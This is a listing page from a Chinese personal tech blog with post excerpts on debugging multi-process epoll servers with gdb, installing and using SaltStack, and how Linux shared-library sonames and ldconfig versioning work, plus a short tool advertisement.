  1    Thread 0x7ffff7fde840 (LWP 21239) "multepoolser" 0x00007ffff668774c in fork () from /lib64/libc.so.6

root     21239 16286  0 17:22 pts/1    00:00:00 [httpmut: master process] master process
apache   21243 21239  0 17:22 pts/1    00:00:00 [httpmut: worker process] worker process

目前在进程:2,前面有*号,我得到3上面去,怎么弄?
thread 3
(gdb) thread 3
[Switching to thread 3 (Thread 0x7fffece72700 (LWP 27660))]
#0  handleEpollRdMessage (threadNum=0) at multepoolser.c:262
262         printf("handleEpollRdMessage function 's threadNum=%d\n",threadNum);
(gdb) n
handleEpollRdMessage function 's threadNum=0
263         int recvlen=-1,epollRdQueRet=-1;//返回
info threads #此时就在3了吧
(gdb) info threads
  Id   Target Id         Frame
* 3    Thread 0x7fffece72700 (LWP 27660) "multepoolser" handleEpollRdMessage (threadNum=0) at multepoolser.c:263
  2    Thread 0x7ffff7fde840 (LWP 21243) "multepoolser" (running)
  1    Thread 0x7ffff7fde840 (LWP 21239) "multepoolser" 0x00007ffff668774c in fork () from /lib64/libc.so.6

卡这儿了,也就是主进程网络那边没有来Epoll句柄,getepollRdFromQue队列一直是空的,怎么办?
(gdb) p epollRdQueRet
$2 = -1
(gdb) n
455         }
(gdb)
302             epollRdQueRet = getepollRdFromQue(&sockRdQue[threadNum],&epollRd);//只要有生产的fd进来并该线程获取到了,就立即去epoll读队列里抢,一线程一队列,不用锁。
(gdb)
303             if(epollRdQueRet == -1) continue;//没有获取到epollRd,继续获取。
(gdb)
455         }

此时如果有的进程需要运行,怎么办?GDB命令:thread apply 3 1 continue #让线程3继续运行,注意我顾意把主线程1也continue。
thread apply 3 1 2 continue


需要实践,链接如下:
http://blog.sina.com.cn/s/blog_53fab15a0101g88r.html
https://www.cnblogs.com/frankbadpot/archive/2010/06/23/1762916.html
http://blog.csdn.net/wangyin159/article/details/47169267

=============================================================================

背景:当你在做一些多进程调试时,会出现一个问题,那就是子进程往往不太好调试,怎么办?如果子进程一直在while里飞快的运行着怎么办,这篇文章就是教会你进行双gdb调试,以实现了子进程的调试,这儿在没有调试时,其子进程是不断的打印,当然最好在while里加一个sleep,但第二个gdb进入后则会存在第一个gdb的打印变慢了,此时,可以在第二个gdb里打印相关变量,达到对子进程的调试目的,特别注意的是,第二个gdb一定要在那个子进程的行里break(这儿是31行)进行调试,而不是放在其它地方,否则是没法调试到子进程的。第三个是:进程中断点.然后用c(这里要用continue,因为attach的进程已经在运行了,不能用run)。最后,子进程死了父亲进程拉起,crack这块可能是return退出了,自己打印是crack,导致并不是真正的crack了,也就不是coredump了,特别注意这个问题。
     当你在程序中使用fork(),如果用gdb来调试.不管是你在子进程是否设置断点.你都只能在父进程单步调试,而没办法进入到子进程当中进行单步调试.因为gdb的所有处理(查看堆栈,内存,变量值)都是针对当前进程空间.

那么是否就没办法调试多进程程序的子进程代码呢?办法还是有的,一般的标准方法是再打开一个gdb用attach功能来调试子进程gdb attach 功能是不执行被调试程序,而是把gdb“挂”到一个已经运行的进程之上来进行调试,这挂载的动作称为attach.当然也包括挂载子进程。

注意两点:
0.当主gdb进来后进行断点后,子进程尽管断点了,但依然运行(为第二个gdb作暂停准备之用),而当第二个gdb对子进程进行attach后,其主gdb的子进程的打印动作也就暂停(为方便调试,可以在进程启动后,设定sleep一段时间,如30s,其实只要第二个gdb一attach到子进程,子进程就柱塞了。),此时子gdb再进行设置断点,按c运行,按n作next就行。
1.子进程的主gdb点和第二个gdb的break点要同一行?不必要,其主gdb只是起到在第二个gdb单独调该进程时起到暂停其主的子进程的作用罢了。
2.在子进程的gdb里,要用c来继续,(这里要用continue,因为attach的进程已经在运行了,不能用run!(也就是:主进程用r(先运行着,主进程不退出。),子进程用c,继续在原来那个停下来的点继续运行到后,再用n命令,即next一步一步查问题,n(next):显示的是即将运行这一行,也就是还没有运行。)
3.gdb调试epoll时遇到的Interrupted system call:
signal(SIGALRM,timer_handle);
最近写了个多线程数据处理的程序,其中用到sem_wait()在信号量为0的时候挂起程序. 程序全速执行的时候没有任何问题,但gdb单步调试的时候,因执行sem_wait()函数而挂起的线程经常出现Interrupted system call,不能正常执行.
    原因在于,gdb单步调试的时候会在断点处插入一条中断指令,当程序执行到该断点处的时候会发送一个SIGTRAP信号,程序转去执行中断相应,进而gdb让程序停下来进行调试. 对于sem_wait\wait\read等会阻塞的函数在调试时,如果阻塞,都可能会收到调试器发送的信号,而返回非0值.
    为了解决这个问题需要在代码中忽略由于接收调试信号而产生的"错误"返回:


到一篇文章《gdb常用命令及使用gdb调试多进程多线程程序》:http://www.cnblogs.com/33debug/p/7043437.html ,代码编译无法通过,代码调整如下,gdb_pthread.c:



关于GDB无法调试epoll的疑问?
这种交互式的网络程序最好不用gdb来调?
调试网络通讯程序最好别用GDB,epoll你可以用strace,gdb是用来调试 C数据结构逻辑之类的。
打日志是我的首选调试方法,如果程序崩溃就看core 文件,如果死锁就 attach上去,其他的错误我从不用GDB
不是epoll和gdb的问题,而是在gdb下epoll_wait 信号处理和正常运行有差异造成的,应该是这个。
摘自:http://bbs.chinaunix.net/thread-1551201-1-1.html

多进程调试如下所述即可,如下,特别是新的linux内核版本能支持到多进程了,相当好用:
在2.5.60版Linux内核及以后,GDB对使用fork/vfork创建子进程的程序提供了follow-fork-mode选项来支持多进程调试。
follow-fork-mode的用法为:
set follow-fork-mode [parent|child]
parent: fork之后继续调试父进程,子进程不受影响。
child: fork之后调试子进程,父进程不受影响。
因此如果需要调试子进程,在启动gdb后:
(gdb) set follow-fork-mode child

这块可以研究一下,新的内核及新的gdb有新功能很方便使用:
set follow-fork-mode child
//set detach-on-fork on //gdb控制父子进程,不让调试了: Can't attach LWP 24731: Operation not permitted,得打开:ON。
b 146 //main里的子进程行
b 192  //子进程调用的函数原型行
r //执行到子进程断点处
n //子进程单步执行

实践心得:一般情况下多线程的时候,由于是同时运行的,最好设置 set scheduler-locking on 这样的话,只调试当前线程 。
off 不锁定任何线程,也就是所有线程都执行,这是默认值。 on 只有当前被调试程序会执行。
vi bp.list

gdb.sh

(一)这块在调试epoll时,在n单步执行卡后(c执行前先断点),得通过浏览器模拟socket请求才能过得去,否则会一直卡那儿,如下:


这块如果continue后,中间因为断点就一次是没法下次进入的,需要引入gdb判断(if {expression} else end条件判断语句, if 后面所带的表达式为一般的GDB表达式:http://blog.csdn.net/horkychen/article/details/9372039)及观察点,才能更加深入了解,下面是试图没有断点运行起来后实现ctrl+C退出,想继续n的尝试:
(二)再就是对c后一直卡那儿,可以按ctrl+C退出( SIGINT   :来自键盘的中断信号 ( ctrl + c ) .),SIGTERM:kill 命令发出 的信号.,继续n执行:
Program received signal SIGINT, Interrupt.
0x0000003c9a2d3fd3 in __epoll_wait_nocancel () from /lib64/libc.so.6
(gdb) n
Single stepping until exit from function __epoll_wait_nocancel,
which has no line number information.

这块不知怎么回事....需要进一步学习了解。

Process(listenFd); //运行至工作子进程的函数,;b 192进行单步执行。

直接gdb后attach子进程:
#ps -f -C multepoolser
UID        PID  PPID  C STIME TTY          TIME CMD
root      2150 19720  0 17:09 pts/1    00:00:00 [httpmut: master process] master process
apache    2151  2150 93 17:09 pts/1    00:00:01 [httpmut: worker process] worker process
2151就是子进程,怎么办?
gdb   #运行gdb
attach 2151
现在就可以调试了。一个新的问题是,子进程一直在运行,attach上去后都不知道运行到哪里了。有没有办法解决呢?

一个办法是,在要调试的子进程初始代码中,比如main函数开始处,加入一段特殊代码,使子进程在某个条件成立时便循环睡眠等待,attach到进程后在该代码段后设上断点,再把成立的条件取消,使代码可以继续执行下去。

至于这段代码所采用的条件,看你的偏好了。比如我们可以检查一个指定的环境变量的值,或者检查一个特定的文件存不存在。以文件为例,其形式可以如下:

1
2
3
4
5
6
7
8
9
10
void debug_wait(char *tag_file)
{
    while(1)
    {
        if (tag_file存在)
            睡眠一段时间;
        else
            break;
    }
}
当attach到进程后,在该段代码之后设上断点,再把该文件删除就OK了。当然你也可以采用其他的条件或形式,只要这个条件可以设置/检测即可。

Attach进程方法还是很方便的,它能够应付各种各样复杂的进程系统,比如孙子/曾孙进程,比如守护进程(daemon process),唯一需要的就是加入一小段代码。

https://www.ibm.com/developerworks/cn/linux/l-cn-gdbmp/

学习参考:
http://blog.csdn.net/nyist327/article/details/40040011
http://blog.sina.cn/dpool/blog/s/blog_55d572ca0100v8e8.html

修改如下:


主gdb:
(gdb) b 167
Breakpoint 1 at 0x4025a1: file multipepollserver.cpp, line 167.
(gdb) b 147
Breakpoint 2 at 0x40250f: file multipepollserver.cpp, line 147.
(gdb) r
Starting program: /home/xiangdong/multepoolserver/multipepollserver
[Thread debugging using libthread_db enabled]
Detaching after fork from child process 27539.
[New Thread 0x2afb66031230 (LWP 27536)]

Breakpoint 1, main (argc=1, argv=0x7fff550003c8, envp=0x7fff550003d8) at multipepollserver.cpp:168
168    

辅助gdb:
(gdb) b 147
Breakpoint 1 at 0x40250f: file multipepollserver.cpp, line 147.
(gdb) c
Continuing.
n

以上代码来自,也就是上面的程序调试的整个代码放在:http://jackxiang.com/post/6937/  ,不完善进一步学习中。

来自:
    http://blog.sina.com.cn/s/blog_5cec1e1d0100guwf.html
    http://blog.csdn.net/qiaoliang328/article/details/7404032
    http://bbs.csdn.net/topics/380004392
首先我们看一个如下简单的多进程程序。
阅读全文
MarkMan – 马克鳗,让设计更有爱!
MarkMan – 马克鳗 是一款方便高效的标注工具,极大节省设计师在设计稿上添加和修改标注的时间,让设计更有爱。
一张标注了间距和长度的设计稿,才是有爱的设计稿。想做有爱的设计师,又想摆脱人肉标注的重体力劳动吗?
MarkMan – 马克鳗 可以很方便的为设计稿添加标记,双击、滚轮、拖动…

新版特性:
增加坐标、颜色、文字标记
优化界面设计和交互方式
加入全局放大镜(快捷键同PS)

背景:配置仓库结合svn版本控制工具
saltstack的安装使用
centos6.3_x86_64
安装EPEL第三方软件源
wget -c http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
rpm -ivh epel-release-6-8.noarch.rpm
安装
yum install salt-master -y  //master
yum install salt-minion     //clients
chkconfig --list|grep salt   //master默认监听两个端口, 4505(publish_port)为salt的消息发布系统,4506(ret_port)为salt客户端与服务端通信的端口,所以确保客户端能跟服务端的这2个端口通信
salt-master     0:off   1:off   2:off   3:on    4:on    5:on    6:off
salt-syndic     0:off   1:off   2:off   3:on    4:on    5:on    6:off
chkconfig --list|grep salt   //clients   没有端口,只有进程
salt-minion     0:off   1:off   2:off   3:on    4:on    5:on    6:off
配置
/etc/init.d/salt-master start  //master直接启动,若也要作为clients,install salt-minino,修改master和id
vi /etc/salt/minion    //clients
master: 192.168.2.18   //冒号后面有空格
/etc/init.d/salt-minion start  
认证
salt-key -L //all list 详细可salt-key --help
实时管理
salt "localhost.localdomain" cmd.run "df -Th"
localhost.localdomain:
    Filesystem    Type    Size  Used Avail Use% Mounted on
    /dev/mapper/VolGroup-lv_root
                  ext4     19G  6.5G   11G  38% /
    tmpfs        tmpfs    244M     0  244M   0% /dev/shm
    /dev/sda1     ext4    485M   40M  420M   9% /boot
群发
salt "*" cmd.run "ls -al /opt/io.sh"
localhost.localdomain:
    -rwxr-xr-x 1 root root 396 Jun  8 18:22 /opt/io.sh
过滤匹配
salt '192.168.*' cmd.run 'echo hi'  
正常我们每台主机的HOSTS都是这样
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
为了区分开来并且MASTER也作为客户端
vi /etc/salt/minion
39 id: 192.168.2.18  //或者修改为自定义名称 比如 id: salt-master,修改id后客户端必须重启,salt-keys -L 才能认得到 然后加入-a 如果修改过ID,最好把旧的删掉 -d
salt-key -D      //删除所有KEY
salt-key -d key  //删除单个key
salt-key -A      //接受所有KEY
salt-key -a key  //接受单个key
[root@server1 salt]# salt-key -L
Accepted Keys:
Unaccepted Keys:
192.168.2.18
192.168.2.19
Rejected Keys:
[root@server1 salt]# salt-key -a 192.168.2.18
Key for minion 192.168.2.18 accepted.
[root@server1 salt]# salt-key -a 192.168.2.19
Key for minion 192.168.2.19 accepted.
[root@server1 salt]# salt-key -L
Accepted Keys:
192.168.2.18
192.168.2.19
Unaccepted Keys:
Rejected Keys:
测试服务端和客户端通讯
salt "192.168.2.19" test.ping     //单引号也可以
192.168.2.19:
    True
salt "*" salt.modules.disk    //salt.modules.disk  模块

服务端:
vi /etc/salt/master
nodegroups:
    mytest1: 'S@192.168.2.0/24'    
salt -N mytest1 test.ping
192.168.2.18:
    True
client1_2.19:
    True
KEYS名字  nodegroups:
    test1: 'L@192.168.2.18,client1_2.19' //多个
    test2: 'client1_2.19'   //单个

来自:http://www.2cto.com/os/201308/238485.html
核心中的核心:
gcc -shared -Wl,-soname,libhello.so.0 -o libhello.so.0.0.0 hello.o   #在生成可执行文件时就得有:libhello.so.0文件,即使是软链接也成,得有。动态链接版本库的标准用法,不标准用libhello.so 也成:gcc -shared -Wl,-soname,libhello.so -o libhello.so.0.0.0 hello.o

背景:共享库,主版本升级,即接口发生变化。
Linux 系统提供一个命令 ldconifg 专门为生成共享库的soname 文件,以便程序在加载时后通过soname 找到共享库。
1)real name:
咱生成的实体文件是:real name ==>libhello.so.0.0.0
readelf -d libhello.so.0.0.0 |grep SONAME
0x000000000000000e (SONAME)             Library soname: [libhello.so.0]
1.1.1234的是共享库的版本号,其主版本号+小版本号+build号。主板号,代表当前动态库的版本,如果动态库的接口有变化,那么这个版本号就要加1;后面的两个版本号(小版本号 和 build 号)是告诉你详细的信息,比如为一个hot-fix 而生成的一个版本,其小版本号加1,build号也应有变化。 这个文件名包含共享库的代码。

2)soname:
动态库的soname( Short for shared object name),其是应用程序加载dll 时候,其寻找共享库用的文件名。ldconfig会自动生成,格式为前面的realname:
   lib + math+.so + ( major version number)

3)link name:
共享库的连接名(link name),是专门为build 阶段连接而用的名字。这个名字就是lib + math +.so ,比如libmath.so。其是不带任何版本信息的。
例子,在编译时需要link name ,专门为build 阶段连接而用的名字,否者报错/usr/bin/ld: cannot find -lhello:(共享库的连接名(link name),是专门为build 阶段连接而用的名字。例子叫: libhello.so)
gcc  -o main main.o -lhello -L.
/usr/bin/ld: cannot find -lhello
解决办法:
ln -sf libhello.so.0 libhello.so

4)ldconfig自动找SONAME,生成SONAME名的共享库,如下:
最后,ldconfig时,是找那个SONAME,然后自动生成对应的共享库:
inux 系统提供一个命令 ldconifg 专门为生成共享库的soname 文件,以便程序在加载时后通过soname 找到共享库。
实践并证明如下(生成SONAME名:gcc -shared -Wl,-soname,libhello.so.0 -o libhello.so.0.0.0 hello.o ,名字叫:libhello.so.0 ,这块即使-L. 引用了,非软链接是libhello.so.0.0.0, 它会提示:/bin/ld: cannot find -lhello,这个:-soname指定名字后,-L会找它,无论是实体的libhello.so.0还是软链接都得有,否则会提示cannot find -lhello,当然,你可以直接写成:gcc -shared -Wl,-soname,libhello.so -o libhello.so.0.0.0 libhello.o ,gcc  -o main main.o -lhello -L.  ,它会找libhello.so文件是否存在,当然可以软链接:mv libhello.so libhello.so.0.0.0 ,ln -s libhello.so.0.0.0 libhello.so,再编译就能通过:gcc  -o main main.o -lhello -L.  ,至于运行还是得找:LD_LIBRARY_PATH和ldconfig进行帮忙。):
readelf -d /home/xiangdong/test/c/libhello.so.0.0.0|grep SONAME
0x000000000000000e (SONAME)             Library soname: [libhello.so.0]
cp /home/xiangdong/test/c/libhello.so.0.0.0 /usr/lib64/.
ldconfig -p|grep hello
ldconfig
ldconfig -p|grep hello
        libhello.so.0 (libc6,x86-64) => /usr/lib64/libhello.so.0  (这个自动由chkconfig生成的so就是前面生成的SONAME名,这一句:gcc -shared -Wl,-soname,libhello.so.0 -o libhello.so.0.0.0 hello.o)


升级问题:
1)共享库,小版本升级,即接口不变.
当升级小版本时,共享库的soname 是不变的,所以需要重新把soname 的那个连接文件指定新版本就可以。 调用ldconfig命令,系统会帮你做修改那个soname link文件,并把它指向新的版本呢。这时候你的应用程序就自动升级了。
2)共享库,主版本升级,即接口发生变化。
共享库,主版本升级,即接口发生变化。

  当升级主版本时,共享库的soname 就会加1.比如libhello.so.0.0.0 变为 libhello.so.1.0.0. 这时候再运行ldconfig 文件,就会发现生成两个连接 文件。

    ln -s libhello.so.0---->libhello.so.0.0.0

    ln -s libhello.so.1----->libhello.so.1.0.0

尽管共享库升级,但是你的程序依旧用的是旧的共享库,并且两个之间不会相互影响。

    问题是如果更新的共享库只是增加一些接口,并没有修改已有的接口,也就是向前兼容。但是这时候它的主版本号却增加1. 如果你的应用程序想调用新的共享库,该怎么办? 简单,只要手工把soname 文件修改,使其指向新的版本就可以。(这时候ldconfig 文件不会帮你做这样的事,因为这时候soname 和real name 的版本号主板本号不一致,只能手动修改)。

  比如: ln -s libhello.so.0 ---> libhello.so.1.0.0

  但是有时候,主版本号增加,接口发生变化,可能向前不兼容。这时候再这样子修改,就会报错,“xx”方法找不到之类的错误。

总结一下,Linux 系统是通过共享库的三个不同名字,来管理共享库的多个版本。 real name 就是共享库的实际文件名字,soname 就是共享库加载时的用的文件名。在生成共享库的时候,编译器将soname 绑定到共享库的文件头里,二者关联起来。 在应用程序引用共享库时,其通过link name 来完成,link时将按照系统指定的目录去搜索link名字找到共享库,并将共享库的soname写在应用程序的头文件里。当应用程序加载共享库时,就会通过soname在系统指定的目录(path or LD_LIBRARY)去寻找共享库。

当共享库升级时,分为两种。一种是主板本不变,升级小版本和build 号。在这种情况下,系统会通过更新soname( ldconfig 来维护),来使用新的版本号。这中情况下,旧版本就没有用,可以删掉。

另外一种是主版本升级,其意味着库的接口发生变化,当然,这时候不能覆盖已有的soname。系统通过增加一个soname(ldconfig -p 里面增加一项),使得新旧版本同时存在。原有的应用程序在加载时,还是根据自己头文件的旧soname 去寻找老的库文件。

5.如果编译的时候没有指定,共享库的soname,会怎么样?

  这是一个trick 的地方。第一系统将会在生成库的时候,就没有soname放到库的头里面。从而应用程序连接时候,就把linkname 放到应用程序依赖库里面。或者换句话说就是,soname这时候不带版本号。 有时候有人直接利用这点来升级应用程序,比如,新版本的库,直接拷贝到系统目录下,就会覆盖掉已经存在的旧的库文件,直接升级。 这个给程序员很大程度的便利性,如果一步小心,就会调到类似windows的Dll hell 陷阱里面。建议不要这样做。
=================================================================================================

Makefile有一句:
DYLIB_MAKE_CMD=$(CC) -shared -Wl,-soname,$(DYLIB_MINOR_NAME) -o $(DYLIBNAME) $(LDFLAGS)
编译下看看输出:
[hiredis]# make clean
rm -rf libhiredis.so libhiredis.a hiredis-test examples/hiredis-example* *.o *.gcda *.gcno *.gcov
[hiredis]# make
cc -std=c99 -pedantic -c -O3 -fPIC  -Wall -W -Wstrict-prototypes -Wwrite-strings -g -ggdb  net.c
cc -std=c99 -pedantic -c -O3 -fPIC  -Wall -W -Wstrict-prototypes -Wwrite-strings -g -ggdb  hiredis.c
cc -std=c99 -pedantic -c -O3 -fPIC  -Wall -W -Wstrict-prototypes -Wwrite-strings -g -ggdb  sds.c
cc -std=c99 -pedantic -c -O3 -fPIC  -Wall -W -Wstrict-prototypes -Wwrite-strings -g -ggdb  async.c
cc -shared -Wl,-soname,libhiredis.so.0.11 -o libhiredis.so  net.o hiredis.o sds.o async.o
静态编译:
ar rcs libhiredis.a net.o hiredis.o sds.o async.o
一)这个/home/test/rpmbuild/BUILD/ngx_http_monitor_module-2.2.0/hiredis 目录下面也并没有:
ls libhiredis.so.0.11
ls: cannot access libhiredis.so.0.11: No such file or directory
readelf -d libhiredis.so
静态就是纯静态的:
ldd libhiredis.a
ldd: warning: you do not have execution permission for `./libhiredis.a'
        not a dynamic executable

Dynamic section at offset 0xa7f0 contains 21 entries:
  Tag        Type                         Name/Value
0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
0x000000000000000e (SONAME)             Library soname: [libhiredis.so.0.11]   <===就是这个就是-soname,libhiredis.so.0.11编译进去的。

二)Nginx启动后,并找不到这个:
ldd /usr/local/nginx/sbin/nginx
        libhiredis.so.0.11 => not found
Starting nginx: /usr/local/nginx/sbin/nginx: error while loading shared libraries: libhiredis.so.0.11: cannot open shared object file: No such file or directory

=============================================================================================


怎么样实现把共享库的soname 提取出来,写在自己的共享库的头文件里面?
第二个是动态库的soname( Short for shared object name),依赖该shared library的应用程序中记录了它的soname,所以应用程序加载该shared library的时候,其寻找共享库用的soname文件名。其格式为

                           lib + math+.so + ( major version number)

它是一个指向名字为real name的shared library的软链接。

  当升级主版本时,共享库的soname 就会加1.比如libhello.so.0.0.0 变为 libhello.so.1.0.0. 这时候再运行ldconfig 文件,就会发现生成两个连接 文件。
    ln -s libhello.so.0---->libhello.so.0.0.0
    ln -s libhello.so.1----->libhello.so.1.0.0
尽管共享库升级,但是你的程序依旧用的是旧的共享库,并且两个之间不会相互影响。

    问题是如果更新的共享库只是增加一些接口,并没有修改已有的接口,也就是向前兼容。但是这时候它的主版本号却增加1. 如果你的应用程序想调用新的共享库,该怎么办? 简单,只要手工把soname 文件修改,使其指向新的版本就可以。(这时候ldconfig 文件不会帮你做这样的事,因为这时候soname 和real name 的版本号主板本号不一致,只能手动修改)。
  比如: ln -s libhello.so.0 ---> libhello.so.1.0.0
  但是有时候,主版本号增加,接口发生变化,可能向前不兼容。这时候再这样子修改,就会报错,“xx”方法找不到之类的错误。

这就是接下来要介绍的第三个共享库的名字,link name,顾名思义,就是在编译过程,link 阶段用的文件名。 其将soname 和real name 关联起来。
第三个名字,共享库的连接名(link name),是专门为build 阶段连接而用的名字。这个名字就是lib + math +.so ,比如libmath.so。其是不带任何版本信息的。在共享库编译过程中,连接(link) 阶段,编译器将生成一个共享库及real name,同时将共享库的soname,写在共享库文件里的文件头里面。可以用命令 readelf -d sharelibrary 去查看。

在应用程序引用共享库时,其会用到共享库的link name。在应用程序的link阶段,其通过link名字找到动态库,并且把共享库的soname 提取出来,写在自己的共享库的头文件里面。当应用程序加载时就会通过soname 去给定的路径下寻找该共享库。
参考:
http://blog.163.com/kefeng_1984/blog/static/166615272014714114141296/
http://blog.chinaunix.net/uid-23592843-id-223539.html

阅读全文
背景:当今中国,对知识产权的保护,我扯下淡吧,还是不够,但目前来说,中国人民的确是没钱,买点便宜的,也就罢了,人们已经很艰难,就不要拆穿,这位仁兄非要这样写,于是就写出了这样的文章了,真是....叫好。
   作者:水木然

   其实,拉动中国经济增长的三驾马车是这样的:

一、抄袭
阅读全文
分页: 58/272 第一页 上页 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 下页 最后页 [ 显示模式: 摘要 | 列表 ]